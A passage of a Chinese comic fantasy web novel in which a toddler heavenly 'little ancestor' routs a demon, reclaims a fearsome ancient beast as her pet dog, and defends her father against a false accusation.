一旁的玄明道长一听,差点没站稳,一把抓住他的肩膀:“师弟!你……你怎可如此大逆不道?竟然想叛出师门?”
玄清道长一把甩开他的手,连个正眼都没给他:“老子就叛出了,咋的?”
“反正那三清观,本就是应该你来承接衣钵,我已经替你擦了十年屁股了!”
“以后,那屁股你自己擦去!我要追寻小祖宗去了!”
玄明道长急了:“你……你……师父若泉下有知,还不知道怎么寒心!”
玄清道长冷笑一声:“你放心,师父他老人家地下有知,也会笑醒的。”
玄明道长被噎得说不出话……
顾振宇“啪叽”一巴掌,拍在玄清道长后脑勺上:“你想屁吃呢!我闺女最讨厌臭道士,她能收你为徒?做梦吧!”
玄清道长捂着后脑勺,委屈巴巴:“贫道可以改行的……不当道士了,小祖宗喜欢啥,我就当个啥,当和尚都行……”
顾振宇:……
一边站着的司命,看着委屈巴巴的玄清道长,心里默默地给他点蜡烛。
要说这小祖宗与道门之间的恩怨,那可是天界众所周知的存在。
那是因为有一次,许呦呦蹲在仙草园里,手里拿着一根树枝,在地上歪歪扭扭地画着。
她正画得起劲,道门仙祖无量天尊正好路过。
只见他身着青色道袍,手持拂尘,面容清秀,一脸正气。
低头看见地上那些弯弯曲曲的线条,眉头立刻皱了起来。
“小祖宗,您这是在画符?”
第97章 臭道屎,米一个好东西
许呦呦头也不抬:“似呀。”
“这……这不对啊!”无量天尊蹲下来,指着地上的线条,“符咒讲究一气呵成,笔断意连。您这断断续续的,符力全散了。”
“还有这里,起笔要重,落笔要轻,您这完全反了。”
许呦呦蹲在那继续画着,没说话。
无量天以为她没听懂,更来劲了:“画符不知窍,反惹鬼神笑;画符若知窍,惊得鬼神叫。”
“您这样乱画,不仅没用,还会招来不干净的东西……”
接着,他滔滔不绝,从符咒的起源讲到笔法的讲究,从朱砂的调配讲到黄纸的裁切,引经据典,口若悬河。
最后,看一向能说会道的小姑娘,竟然顺从地接受了他的教训,才满意的点头离开。
然而许呦呦,早就气得画了个巨大的王八,往他背后一贴,歪歪扭扭地写着,“窝似介个!!!”
而此时的无量天尊昂着头,挺着胸,趾高气扬地在众人面前走过。
他今日终于教训了那个猖狂的小祖宗,回去可以跟师兄弟们好好炫耀一番。
只是没想到,他走到哪,路过的神仙们都是——
“噗嗤。”
“哈哈哈哈!”
笑声越来越大,此起彼伏。
直到他回到道门,众人已经笑得直不起腰了。
“天尊,你……你背上……”
他扯下来一看——
脸,瞬间涨成了猪肝色。
“许——呦——呦!”
当天,无量天尊就纠集了一帮师兄弟,浩浩荡荡跑到帝君面前告状。
“帝君!小祖宗她……她羞辱我!”
他举着那张纸条,手都在抖……
帝君还没开口,众仙就你一言我一语地凑了过来。
“哎呦,这乌龟画得不错啊,简直栩栩如生。”
“是挺像的哈。还说人家小祖宗画符不标准,你瞅瞅,这王八画的多标准。”
“就是呀,再说了,你们道门不是讲究道法自然吗?乌龟多自然啊,长寿、稳重、还有耐心。小祖宗这是在夸你呢。”
无量天尊脸都绿了:“她……她这分明是在骂我!”
“天尊啊,你咋不敬祖宗呢?你们道门不还供奉玄武大帝吗?玄武不就是乌龟?”
无量天尊被噎得说不出话。
帝君坐在上面,憋笑憋得辛苦,最后摆摆手:“行了行了,多大点事。你一个几十万岁的人,跟个一万岁的小娃娃计较什么?”
“再说了,我也觉得呦呦画得不错……”
道门众弟子被怼得哑口无言,最后灰溜溜地走了。
从那以后,许呦呦跟道门的梁子就结下了。
每次看见穿道袍的,她都会狠狠瞪一眼:“臭道屎,米一个好东西!!”
道门弟子,哪怕道门养的灵宠,自那以后,看见她,都绕道走……
此时的许呦呦,被四皇子抱在怀里,慢慢平息了怒火。
满院子的怪物们,喝完药后,慢慢恢复了理智和清醒,众人纷纷舒了一口气。
顾振宇赶紧让冬梅将困得睁不开眼的小姑娘带回去休息。
冬梅很快就将小主子带回将军府早已预备好的厢房。
“小郡主,您先歇着,奴婢就在外面守着。”冬梅把小家伙塞进被窝,轻手轻脚退了出去。
许呦呦到了被窝里,小嘴还嘟囔着:“漂亮得得,似窝滴,似窝滴……”说着说着,困意上头,很快就睡了过去。
就在小家伙睡的正兴起的时候。
“呜呜……呜呜呜……”
耳边,突然又传来一阵呜呜咽咽的哭泣声,嗡嗡嗡响个不停。
许呦呦小眉头皱成一团,翻了个身。
哭声还在。
小家伙气得一巴掌拍过去——
“啪!”
哭声戛然而止。
静息了一瞬。
然后——
“哇——!!!”
哭得更凶了!
“小祖宗,我的小祖宗耶!”那声音既凄惨又委屈,“求求您了,睁条眼缝,看看小神呗!我……我实在是撑不住了呀!呜呜呜……”
许呦呦“噌”地坐起来,圆溜溜的小眼珠子瞪得溜圆,两个小揪揪都气得竖起来了。
“哭哭哭!再哭一个,窝就带着泥去地府门口,一起哭!哭屎拉倒!”
哭声,瞬间憋了回去。
那人死死捂住自己的嘴,眼泪还挂
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在脸上,却一声都不敢出,可怜巴巴地看着她。
许呦呦这才眯着眼睛打量起他。
尼玛!
这也太惨了!
只见她头上的冠歪了,脸上青一块紫一块,左眼肿得跟核桃似的,嘴角还挂着血丝。
身上的袍子被撕得一条一条的,跟破抹布似的挂在身上。
最惨的是脑袋上,顶着一个大包,跟长了角似的,红彤彤、亮晶晶,看着就疼。
被人揍成这副鬼样子的阎王,龇牙咧嘴地冲着许呦呦讨好似地笑着。
许呦呦抬起小短腿,照着阎王就是“砰砰砰”三脚,踹得他原地转了三圈。
“不似窝嗦泥!泥肿么也辣么米用?”
阎王被踹的还没站稳,忽然感觉一股暖流从脚底窜上来,浑身的伤以肉眼可见的速度愈合,青紫消退,血口子合拢,连脑袋上那个大包都瘪了下去。
他愣愣地摸摸自己的脸,又看看完好如初的手,差点没哭出来。
扑通一声,抱住了许呦呦的小短腿:“小祖宗耶,那……那邪崇,实在是太多了!打不完,根本打不完啊!”
他用手比划着:“而且,领头的手里有个大瓷瓶,往出一照,那光晃得人眼晕,小神就啥也看不见了!”
许呦呦小眉头一皱。
大瓷瓶?
她想起那两个长舌鬼说的“宝贝”,眼睛瞬间亮了。
阎王继续在那儿诉苦:“还有他那坐骑,凶悍得很!虎头狮脑,铜铃大眼,一嗓子吼出来,地府都抖三抖!”
“小神活了这么多年,从来没见过气势那么凶的玩意儿啊!那气势……”
“小祖宗耶,小神已经苦战多日了,实在架不住了!身上这伤,都是被那畜生咬的!差点就回不来了啊!”
说着说着,又抹起眼泪:“好在……好在您来了啊!小祖宗,您可得给我报仇啊!”
他又凑近一点,压低声音,神秘兮兮地说道:“小祖宗,我最近又攒了个宝贝,还没来得及孝敬您呢!”
“所以我可不能死啊!我要是**,那宝贝可没人知道藏在哪儿了!只有我一个人知道!您要是给我报了仇,那宝贝……嘿嘿……”
第98章 这数,大可不必让我来凑
许呦呦努力板着小脸,可那双眼睛已经亮得跟小灯笼似的。
“行趴。”她小手一挥,“窝本来米打算介么早收拾他们。但似阎王伯伯被欺负到介种地步……”
“那窝就帮泥去把里子面子,都找肥来吧!”
阎王大喜:“不亏是我小祖宗,小祖宗威武!”
“对了,”许呦呦小手一指,“把那个臭道屎叫上,还有阿司,也给喊上!银多,壮胆!”
阎王:……
您还需要壮胆?您是看热闹不嫌事大,人多热闹多吧?
许呦呦带着阎王,“咚咚咚”跑到司命的院子里,一脚踹开房门。
“砰!”
忙了一天,刚刚进入梦乡的司命,被这一声响吓得差点从床上跳起来。
他眯着眼睛,看见门口那个小小的身影,吓得赶紧把眼睛闭上,继续装死。
许呦呦背着小手,大摇大摆走进去,站在床边,居高临下地看着他。
床上那位,呼吸均匀,一动不动,装得跟真的似的。
许呦呦也不说话,就那么盯着他看。
司命躺在那里,眼皮子底下眼珠子乱转,心里却跟打鼓似的:
完了完了完了,这小祖宗怎么来了?
她是不是听见我刚才骂她了?
她来干嘛?
她怎么不说话?
不行,要装就得装到底!
于是,他假装又翻了个身,还打了个哈欠,背朝着许呦呦。
嘴里,却开始振振有词,
“我阿司,既然下来了,就要跟那帮狗东西划清界限……”
“以后,我生是小祖宗的人,死是小祖宗的鬼,唯小祖宗马首是瞻,至于那帮老畜生,等我陪着小祖宗回了,挨个收拾他们。”
“那帮老东西,真不做个人啊,连小孩子都骗,把小祖宗骗得这么惨,我……我说什么都要给小祖宗报这个仇……”
“还有,若是他们敢来看我,看我不骂死他们,以后,他们就是我的仇人……”
“就算他们来接我回去,我都不可能跟他们走,我就要跟在小祖宗身边,帮她报仇……”
许呦呦抬头看了一眼,小手一指,轻飘飘地问了一句:“阎王伯伯,你刚才有没有看到虾米银?”
阎王从门外探进脑袋,一脸无辜:“小祖宗,小神刚看到老君和星君几个老玩意,就在这闪了一下。小神还以为他们是来帮忙的呢。”
“只是没想到,这几个老玩意,竟然就这么走了,走的时候,嘴里还骂骂咧咧的。对了,他们手里还拿了一堆东西,好像是要送给谁的……”
许呦呦点点头,一脸了然:“辣阔能,似给他滴护身符和丹药吧。毕竟他现在,还米泥有用。”
“哎,算辣,窝本来打算放他肥去的,既然,他对窝介么忠心,那就留下乃吧!”
说完,她摆摆手,带着阎王就往外走:“肘趴,给泥报仇去!”
僵死在床上的司命,心,正在一寸寸碎裂。
他抬起手,狠狠抽了自己两大嘴巴子,死嘴,我让你说,让你说……
接着。
他“扑通”一声从床上滚下来,跌跌撞撞往外跑,追到门口,对着空气扯着嗓子喊:
“老……唔唔……啊!星……唔唔……啊!我说我不是故意的,你们信不?”
“你们不信也得信啊!我刚才只是为了哄她开心啊!你们不是也叫我下来哄她开心的嘛,那真不是我的真心话啊!你们不能不管我啊!呜呜呜……”
回应他的,也只有呜呜呜的冷风。
天上,云层深处。
太白星君气得胡子直翘:“哼!我真是瞎了眼了,刚才还觉得对他有些愧疚,没想到人家早就想跟我们划清界限?”
太上老君把刚掏出来的白玉瓶又塞回袖子里,恨恨道:“亏我还想着给他带几颗丹药防身,结果人家根本不稀罕。”
月老把一捆金光闪闪地线条收尽囊中:“划清界限就划清界限!以后他别想再从我这借一样东西!”
几位星君越说越气,把刚才那点愧疚早抛到九霄云外去了。
此时。
许呦呦带着阎王,刚走到院门口,就看见一个灰扑扑的身影连滚带爬地冲过来。
“小……小祖宗!小祖宗耶!”
玄清道长一把抓住小姑娘的小衣角,眼泪
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汪汪:“我……我快要吓**!那大老虎,那血盆大口,差点就把我吃了啊!”
许呦呦白了他一眼,小脸上写满了嫌弃:“就介点出息?还当道屎呢?还捉鬼呢?”
“所以嗦,臭道屎,米一个好东西。阎王伯伯,咱们肘吧!”
说罢,迈着小短腿就要走。
玄清道长这才注意到她身后还跟着一个人……
老天奶耶!
我我……我又看见了什么?
阎王?
活生生的阎王?
玄清道长腿一软,差点跪地上。
他一把抓住许呦呦的小衣角,死死攥着,眼睛只敢盯着她头上的小揪揪,一刻都不敢乱瞅。
“小……小祖宗……咱……咱这是要去哪儿啊?”
许呦呦头也不回:“找辣个欺负泥们滴坏银。”
“窝又不像泥,辣么怂!”
玄清道长的脸,白了。
阎王带着小姑娘,绕着整条街转了一圈。
最后停在城东最角落的一座破庙前。
那庙门歪歪斜斜,屋顶的瓦片碎了大半,墙角的蜘蛛网比人还高。
此时,整座庙都被一团浓得化不开的黑气笼罩着,密不透风,连月光都透不进去。
玄清道长抬头一看,腿肚子直转筋。
**……
这……这黑气,怕是烈狱都比不上啊!
他偷偷瞄了许呦呦一眼,见她小脸绷得紧紧的,一点害怕的意思都没有,心里更虚了。
“小……小祖宗,”他吞了吞口水,“咱……咱要不要再考虑一下?或者制定个作战计划啥的?”
“比如先派个人进去探探路,摸清情况再……”
许呦呦回头看着他,那眼神,跟看傻子似的。
“辣泥进去吧?”
玄清道长直接给跪了:“您还是嘎了我吧,这样更直接。”
许呦呦白了他一眼:“窝本来也米打算带泥进去。”
“泥进去了,就凭泥介没出息样,也就似给他们加盘菜。”
“带泥乃,就似凑个银数,显得咱们银多胆大。”
玄清道长:……
这数,大可不必让我来凑啊!!
第99章 大黄,原来似泥介狗东西啊!
只是他还没反应过来,许呦呦小手一挥,一道金光闪过——
“嗖!”
玄清道长整个人腾空而起,挂在了破庙门口一棵歪脖子树上。
他低头一看,自己周围罩着一层淡淡的金光,像个大泡泡,把他整个人裹在里面。
“泥就挂在辣里等窝吧。”许呦呦拍拍小手,一脸淡定,“顺道康个门,阔别让他们跑了。”
玄清道长:……
老……老子,真是万念俱灰啊!
他就这样,眼睁睁地看着许呦呦带着阎王,大摇大摆走进了破庙。
再看看周围向他疯狂涌来的邪崇,心里那个凉啊。
就在这时,身后传来一阵窸窸窣窣的脚步声。
玄清道长艰难地扭过头,就看见顾振宇带着一个亲卫,还有冬梅,护着杨婉云,悄悄摸到了破庙门口。
因为就在许呦呦离开的时候,一直暗中保护她的暗卫,早就将消息传了过来。
杨婉云不放心,顾振宇便带着她一起来了。
此时,顾振宇一抬头,看见挂在树上的玄清道长,愣了一下。
然后——
“噗。”
他没忍住,笑出了声。
玄清道长脸都绿了:“笑什么笑!贫道这是……这是战术需要!”
顾振宇抬头打量他一番,啧啧摇头:“臭道士,你还真是一点用都没有啊。”
玄清道长气得胡子直翘:“你——”
“行了行了,”顾振宇摆摆手,“就先这么挂着吧,不然进去也是碍事。”
玄清道长:……
你们父女,真是够礼貌的!
顾振宇不再理他,转头看向杨婉云,压低声音:“婉云,你们在外面等着,我进去看看。”
玄清道长一看顾振宇要往里冲,赶紧出声阻止:“将军!别进去!”
顾振宇脚步一顿,回头看他。
玄清道长急得直扑腾:“小祖宗那浑身的金光,刺都能把那些邪祟刺死!您进去了,反而成了她的软肋。”
“到时候小祖宗还得分心护着您,那不是添乱吗?”
顾振宇皱起眉头,盯着那团黑雾看了片刻,终于退了回来,守在门口。
手却按在剑柄上,做好随时冲进去护闺女的准备。
破庙里。
许呦呦背着小手,大摇大摆走了进去。
刚跨过门槛,满天的阿飘就涌了上来。
“哟——这是哪来的小兔崽子?”
“哈哈哈!这么小一个,都不够塞牙缝的。”
“来来来,让爷爷尝口鲜!”
“我先来我先来!这小嫩肉,看着就香!”
尖笑声、怪叫声、嘲讽声混成一团,吵得不可开交。
许呦呦小脸一黑,从怀里慢慢抽出鸡毛掸子。
“泥嗦虾米?”她眯起眼,盯着最前面那个笑得最欢的鬼,“泥嗦,窝似兔崽子?”
“啪!”
一掸子抽过去,那鬼连惨叫都没来得及发出,瞬间化作一缕黑烟,散了。
“还有泥!”许呦呦转身,一掸子抽向旁边那个还在咧嘴的,“笑虾米笑!姑奶奶掰了泥滴牙!”
“啪!”又一只,灰飞烟灭。
“泥躲虾米躲?”她伸出小胖手,一把抓住还在乱窜的阿飘,“似不似泥伤了窝阎王伯伯?”
“啪!”照样一掸子。
呼~~烟消云散……
“后面辣个!泥跑虾米?泥竟敢嗦,姑奶奶似小短腿!”
“啊啊啊啊……窝跟泥拼了!!”
“啪!”又散了一只……
小姑娘继续扬起鸡毛掸子:“窝看泥们就似欠抽!”
“**啪啪……”
鸡毛掸子直接挥出了残影……
剩下的阿飘吓得四处逃窜,啊啊啊啊啊……死腿,快飘啊……
一旁的阎王,看得直接傻了眼。
站在那,傻傻地鼓着掌,不愧是小祖宗啊,真威武啊!!
许呦呦叉着小腰,看着那些抱头鼠窜的鬼影,奶凶奶凶地说道:“哼,姑奶奶,阔不似辣么好次滴……”
话音未落——
“嗷——!!!”
一声震天动地的嘶吼从庙深处传来。
那声音又沉又闷,却震得整座破庙都在抖,房梁上的灰扑簌簌往下掉。
就连外面树上挂着的玄清道长被震得晃了三晃,差点从泡泡里掉出来。
许呦呦淡定地站在那,抬头一看。
黑暗中,缓缓走出一个
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巨大的身影。
虎头,狮身,铜铃大的眼睛冒着绿光,獠牙比许呦呦的小胳膊还长。
每走一步,地面都跟着颤一下,地上的碎瓦片被震得跳起来。
在它旁边,站着一个一身玄衣的男子。
面容冷峻,额上长着两只菱角,双手背在身后,居高临下地看着许呦呦。
“你这个小不点,从哪儿来的?”他嘴角勾起一抹不屑的笑,“看着倒是有两下子,就是可惜了……”
他上下打量许呦呦一眼,慢悠悠开口:“还不够我这神兽塞牙缝的。”
转头却恭敬地询问:“万灵兽大人,您对这小丫头,还满意吗?”
那巨兽没有回答。
它低着头,铜铃大的眼睛里,凶光一点一点褪去。
取而代之的,是震惊。
是恐惧。
甚至……还有一些绝望……
只见它那四条柱子一样粗的腿,忍不住开始发抖。
“嗯?”玄衣男子皱眉,不安地低头看它,“万灵兽大人?”
巨兽依然没理他。
却慢慢弯下前腿——
“扑通。”
它……竟然,跪了!!!
两条前腿结结实实跪在地上,脑袋低得都快贴到地面了,屁股撅得老高,尾巴夹得紧紧的。
玄衣男子愣住了。
许呦呦仔细盯着那巨兽看了看,随即抬起鸡毛掸子,上手抬手就是一挥——
“大黄!原来似泥介狗东西!!!”
那巨兽浑身一颤,发出一声呜咽,把脑袋埋得更低了,恨不得把脸塞进地缝里。
玄衣男子彻底傻了。
大黄???
这……这可是上古万灵兽啊!
当年连天帝都要给三分面子的上古万灵兽!
她管它叫大黄?
他长着塞得下鸡蛋的嘴巴,却一个字都说不出来。
许呦呦可不管他想什么,迈着小短腿走过去,抡起鸡毛掸子,就往巨兽脑门上一敲:“泥个狗东西,似不似泥欺负窝阎王伯伯?”
巨兽呜咽一声,脑袋蹭了蹭地面,那委屈的小模样,跟犯了错的大狗一模一样。
“狗大黄,泥个狗东西,真似胆肥了,还敢在介害银?”
第100章 全程就靠喊一声“大黄”
玄衣男子彻底忍不下去了。
他脸色铁青,额角青筋暴起,死死盯着许呦呦,“大胆!你这个不知天高地厚的小兔崽子!你竟敢对万灵兽大人不敬?”
“看我怎么收拾你……”
他一甩袖子,灵力在掌心疯狂涌动,黑雾妖娆而起,在他手中聚成一团翻滚的暗影。
随即又变成一个巨大的黑球,黑球越来越大,越来越浓。
“你这是在找死!”
他抬手就要将那团黑球砸向许呦呦——
阎王脸色大变,一个箭步冲上前,张开双臂挡在许呦呦面前:“小祖宗,小心!”
话音未落——
“嗷——!!!”
一声暴怒的嘶吼震得整座破庙都在颤。
万灵兽猛地从地上弹起来,身形快得像一道闪电,一头撞向那团黑球。
“砰!”
黑球被撞得一个反弹,直直砸向玄衣男子。
只见他瞳孔骤缩,还没反应过来,就被自己凝聚的黑球击中胸口。
“轰!”
接着,整个人飞出去数米远,重重撞在庙墙上,一口黑血喷了出来……
万灵兽落在他面前,铜铃大的眼睛冒着凶光,喉咙里滚出低沉的咆哮,獠牙毕露,口水滴答往下淌,那架势恨不得把他撕成碎片。
尼玛!你这是想害死我啊!!
众鬼吓得四散逃窜,恨不得多长两条腿。
要知道,万灵兽虽然平日凶残,但鲜少这般暴怒。
此刻,它是真的气急了呀,浑身的**都炸起来了,尾巴竖得跟旗杆似的。
玄衣男子倒在地上,捂着胸口,嘴角挂着血迹,满眼的不可置信。
不……不可能!
他收服这只万灵兽花了多少年?
送了多少灵石灵粮?
低声下气求了多少回?
它从来对他都是爱答不理,高兴了赏个眼神,不高兴了直接一尾巴甩飞。
他一直以为是自己修为不够,征服不了这上古神兽。
可现在——它竟在一个奶娃娃面前,乖得像条狗,甚至还为了她重伤自己。
许呦呦从阎王身后探出小脑袋,小嘴一咧,“狗大黄,康在刚才表现不错滴份上,乃吧,奖励泥滴。”
小姑娘小手伸进怀里,掏了掏,掏出一根光秃秃的肉骨头,往前一扔。
万灵兽眼睛瞬间亮了。
它“嗖”地扑过去,一口叼住骨头,趴在地上,两只前爪捧着,认认真真地舔了起来。
众鬼:!!!???
什么玩意?
万灵兽大人……吃骨头?
天地可鉴,神明可查啊!
这几千年来,它挑食挑到令人发指啊!!
灵石年份不够不看一眼,灵泉水质稍差直接掀碗。
可现在,它竟然对着一根骨头,舔得比谁都认真……
阎王站在许呦呦身后,看着那只上古神兽抱着骨头舔得津津有味,嘴角抽了抽。
这狗东西,真是狗啊!
欺软怕硬,把老子欺负得够惨,现在这副模样,该!
他默默往许呦呦身后又挪了两步,头和脖子,连着摇又挺直了几分。
玄衣男子挣扎着从地上爬起来,擦了擦嘴角的血,眼中闪过一丝疯狂。
他死死盯着许呦呦,嘴角勾起一个诡异的弧度。
看这小丫头浑身的金光,是大气运啊!
若是能全部吸过来,他的修为——简直逆天!
至于万灵兽,定是被这小兔崽子施了什么妖法,迷了心智。
只要收了这小丫头,不但修为暴涨,还能震慑万灵兽,让它重新臣服于自己。
呵,一举两得!
于是,他从怀里缓缓掏出那个黑瓷瓶,双手掐诀,口中念念有词。
许呦呦抬头看了一眼那瓶子,眼睛亮了。
“哇哦,宝贝乃啦!!”
“大黄!辣个瓶子,窝稀饭!泥去帮窝拿过乃!”
她小胖手一指,理直气壮:“对,就似辣个!窝拿肥去,给窝凉插花用!”
下一瞬——
万灵兽一跃而起。
那巨大的身形快得只剩残影,一爪子拍飞玄衣男子手中的瓶子,精准叼住,在空中一个漂亮的翻身,稳稳落在许呦呦面前。
它低下头,把瓶子轻轻放在她脚边,甚至还冲她摇了摇尾巴。
众鬼:……
麻了。
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彻底麻了。
玄衣男子被拍飞出去,再次撞在墙上,一口鲜血喷出来,脸白得像纸。
“你……你……”
他气急败坏,浑身颤抖,眼中闪过最后的疯狂。
下一瞬,他仰天长啸,黑雾从七窍涌出,身形暴涨。
“咔咔咔——”
只见他的四肢扭曲变形,长出尖厉的爪子,背后裂开,伸出两只漆黑的骨翼,脸上覆满鳞片,双眼变成两个黑洞,嘴里长出獠牙,涎水滴滴答答往下淌。
一个巨大的怪物出现在破庙里,浑身散发着腐臭的气息。
“我要撕了你!!!”
它张开血盆大口,朝许呦呦扑来……
万灵兽连眼皮都没抬。
它身形瞬间暴增,嘴巴一张,一口将那怪物吞了进去。
“咕咚。”
整个世界安静了……
怪物消失了,黑雾消散了,连那腐臭的气息都没了。
万灵兽砸吧砸吧嘴,打了个饱嗝,又趴回去,继续舔它的骨头。
笼罩在破庙上空的阴霾,像被一只无形的手抹去,月光从屋顶的破洞洒进来,照在这一地狼藉上。
接着,漫天的阿飘,跟着也消散了……
阎王站在原地,嘴巴张得能塞下两个鸡蛋。
他与这群孽障已经斗了数日,被打得满地找牙,浑身是伤,连地府都快保不住了。
小祖宗呢?
没有费一招一式,甚至没有念一句咒,没有画一张符——
全程就靠喊了一声,“大黄”。
他默默看向那只正舔骨头舔得忘我的上古神兽,嘴角抽了抽。
许呦呦弯腰捡起那个黑瓷瓶,满意地塞进怀里。
然后蹲下身,摸了摸万灵兽毛茸茸的大脑袋。
“大黄,干滴不错!乃吧,泥以后,还跟着窝咧!”
“但似,泥害银造滴孽,窝还要慢慢跟泥算……”
万灵兽抬起头,喉咙里发出一声低低的呜咽。
它蹭了蹭许呦呦的小手,然后——身形开始缩小。
片刻后,一只毛茸茸、胖乎乎的小黄狗蹲在许呦呦面前,吐着舌头,尾巴摇得跟螺旋桨似的。
第101章 那绿茶,作大妖了?
阎王看着这只刚才还威风凛凛、一口吞掉怪物的上古神兽,此刻正冲小祖宗撒娇卖萌,尾巴都快摇断了。
他默默抬起脚……又放了下去。
算了,打不过。
许呦呦把小黄狗抱起来,往怀里一揣,拍拍小手:“走辣!肥家碎觉!”
她大摇大摆地往门口走。
忽然又停下来,回头冲阎王招招手。
“阎王伯伯,泥滴宝贝,别忘了送过乃呦。”
阎王连连点头:“一定一定!小祖宗放心!”
许呦呦又想了想:“对了,还有泥肥去,帮窝康康,夫子有米有啥大劫?”
“哎,还似算了,辣老头长寿着呢……”
阎王刚松口气,又听小家伙说:“行了,泥肥去吧,回头,窝寄几亲自去康!”
阎王刚放下的心,瞬间提了起来:“不不不,大可不必啊!小神现在就回去,肯定把那人祖宗十八代都给小祖宗翻出来,一定!一定!”
说罢,擦着额头的冷汗,连滚带爬地消失了。
破庙外。
挂在树上的某人,一直都在喋喋不休,苦口婆心地劝着。
“杨夫人啊!贫道想跟您商量个事!”玄清道长满脸堆笑,“贫道……贫道想拜小祖宗为师!”
杨婉云一愣。
“反正我那师父已经**,师兄也找到了。那破道观,以后就让他去住吧!贫道以后,只想去抱小祖宗的大腿!”
“能拜小祖宗,是我此生最大的目标,也是最大的愿望。”
他越说越激动:“杨夫人啊,您看,您能不能帮我劝劝小祖宗,让她收了我?”
“贫道保证,认了小祖宗为师,以后一定好好孝敬她!端茶倒水,洗衣叠被,捏肩捶腿,什么都行!”
“将来,贫道还给她养老送终……”
杨婉云:……
顾振宇一巴掌拍在他后脑勺上:“闭嘴!臭道士,你要是再多一句嘴,我就噶了你!”
就在这时,他看见许呦呦从破庙里出来,眼睛一亮,扯着嗓子喊:“小祖宗!小祖宗耶!现在您能把我放下来了吧?”
许呦呦小手一挥,金光散去——
“啪嗒!”
玄清道长结结实实摔在地上,龇牙咧嘴地爬起来,顾不上揉屁股,连滚带爬往许呦呦跟前凑。
小家伙抱着大黄,满脸欣喜地看着杨婉云和顾振宇。
“凉!爹爹!泥们肿么来咧?”
“康!介似大黄!窝以前养滴宠物!”
她举起怀里毛茸茸的小黄狗,得意地炫耀。
杨婉云和顾振宇赶紧上前,把她上上下下检查了一遍,确认连根头发都没少,这才松了口气。
玄清道长站在旁边,一脸震惊地盯着她手里那只“狗”。
老天奶耶!
它……它真是一只狗吗?
那浑身上下流转的灵气,那不经意间露出的威压——
它明明是……
玄清道长看看那只窝在小祖宗怀里、眯着眼睛、一脸享受的小黄狗,又看看自己手上的牙印,默默咽了口唾沫。
此刻,他更加坚定了心中的信念!
他连滚带爬冲到她面前:“小祖宗,您……您等我哈!我现在就去叛出师门!”
话还没说完,就急吼吼地往他师兄的院子跑去。
杨婉云心疼地抱起许呦呦:“呦呦,走,回去睡觉。”
又看看了她怀中那只“人畜无害的狗”,也跟着默默咽了咽口水,抱着小姑娘就回去了。
折腾一天,小姑娘累坏了,往娘亲怀里一拱,小呼噜就响了起来。
第二日。
朝阳透过窗棂洒进来,许呦呦在被窝里拱了拱,迷迷糊糊睁开眼。
四下扫了一眼。
“冬梅姐姐,窝凉和将军爹爹呢?”
冬梅一边给她穿衣裳,一边略显担忧的汇报:“小郡主,昨夜前院出事了。夫人和将军一大早就过去了。”
许呦呦一个激灵坐起来:“发生虾米事了?似扒似那绿茶,作大妖了?”
冬梅点点头
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,把昨晚的事说了一遍——
原来昨夜,李芷兰竟然假扮成侍卫,闯到庆王的书房。
幸亏当时庆王不在,她扑了个空。
可谁曾想,她着急忙慌退出去,刚走到花园,正好撞上送完杨婉云回房的顾振宇。
这李芷兰不知怎么就鬼迷了心窍,站在那儿就往顾将军身上倒。
顾将军抬起一脚,把她踢翻了。
结果她坐在地上,撕扯自己的衣服,哭着喊着说将军轻薄了她,要顾将军给她个说法。
昨晚,顾将军气得差点把她一剑穿心……
“诶诶诶……小郡主,您跑慢点……别摔倒了,奴婢快追不上您了……”
冬梅话还未说完,就感觉一阵风从面前吹过。
接着,眼前的小主子就不见了……
杀气冲天的小姑娘,小短腿蹬得比风火轮还快。
还未到前厅,就听到里面凄凄惨惨的嚎叫。
李芷兰跪在地上,哭得上气不接下气。
“将军,您……您怎可这样对芷兰?”她泪眼婆娑,声音又软又委屈,“芷兰也是清清白白的将军府姑娘,您怎可这般羞辱与我?”
顾振宇站在一旁,捂着脑袋,气得差点拔出腰间的佩剑。
他转头期期艾艾地看着杨婉云,手足无措:“婉云,你可别听她胡说哈!她现在满嘴喷粪,逮着谁就喷谁!这贱东西,我看一眼都觉得脏!”
他急得声音都变了调:“婉云,婉云,你别生气哈!我……我马上让人剁了她!”
杨婉云一句话没说,只冷眼看着哭得梨花带雨的李芷兰。
李芷兰见状,转头就跪在地上,拼命地冲杨婉云磕头:“杨夫人,您虽然还未与将军成婚,但您是御赐的将军夫人,这是改变不了的事实。芷兰从未想过要与您争这名分。”
“奈何昨晚将军那般对我,芷兰实在没了办法。若是夫人容不下我,芷兰也……也只有一**……”
说罢,抬脚就要往一旁的柱子上撞。
第102章 惊不惊喜,意不意外?
李将军一把拦住她,眼眶通红,深深叹了口气,跪在地上求道:“将军,此事都是舍妹的错,唐突了将军,实在罪该万死。”
他声音酸涩不已:“还请将军,看在臣的份上,饶了舍妹这一回。她可是臣在这世间唯一的亲人了。臣实在不忍心看她名节受损,含恨而终……”
话没说完——
“嗖!”
一道小小的身影飞了进来。
“啊啊啊啊——泥介个屎绿茶!窝跟泥拼了!”
许呦呦冲进来,小脸气得通红,像个小炮仗一样,直往李芷兰身上撞。
冬梅眼疾手快地一把将她抱进怀里,就算这样,都差点捂不住她浑身飞舞的手脚。
“泥勾引庆王伯伯不成,竟然又来泼窝将军爹爹脏水!”
小家伙气得小胸脯一起一伏:“泥,泥……大黄,上,替窝咬两口,解解恨!!”
刚跟着跑进来的大黄,一脸懵逼地看着小主人。
但是,它也不是吃素的,随即就龇牙咧嘴地扑上去,对着李芷兰一通乱吠。
吓得李芷兰尖叫连连……
“他们瞎,本郡主阔不瞎!”
“就泥,还想乃当本郡主滴小凉?”
她小胖手指着李芷兰的鼻子:“泥,想屁吃咧!”
顾振宇看见闺女来了,心里瞬间有了底气。
他赶紧上前,一把将小家伙抱起来,举到她面前:“乖闺女!你的小眼可是最明亮的!快来看看爹爹!好好看看!”
他一脸期待:“告诉你娘,爹爹心里,是不是只有她一人?”
许呦呦认真地打量着顾振宇。
然后,摇了摇头。
顾振宇倒吸一口凉气。
“不似滴,”小家伙奶声奶气地说,“爹爹心里,阔不止窝凉一个。”
顾振宇脸都白了,看着杨婉云阴沉的脸,他差点一甩手把怀里的小姑娘扔了……
“爹爹心里,”许呦呦慢悠悠补了一句,“还有一个窝呀!”
顾振宇:……
乖宝,咱以后能不能一口气把话说完。
爹爹差点就给自己送终了。
李芷兰看着眼前的情形,把心一横,索性破罐子破摔。
她扑到李将军怀里,哭得撕心裂肺,浑身都在发抖,那模样要多惨有多惨。
“哥哥!妹妹千辛万苦好不容易找到你,可惜还没来得及跟哥哥享受兄妹亲情,这是妹妹的不是!”
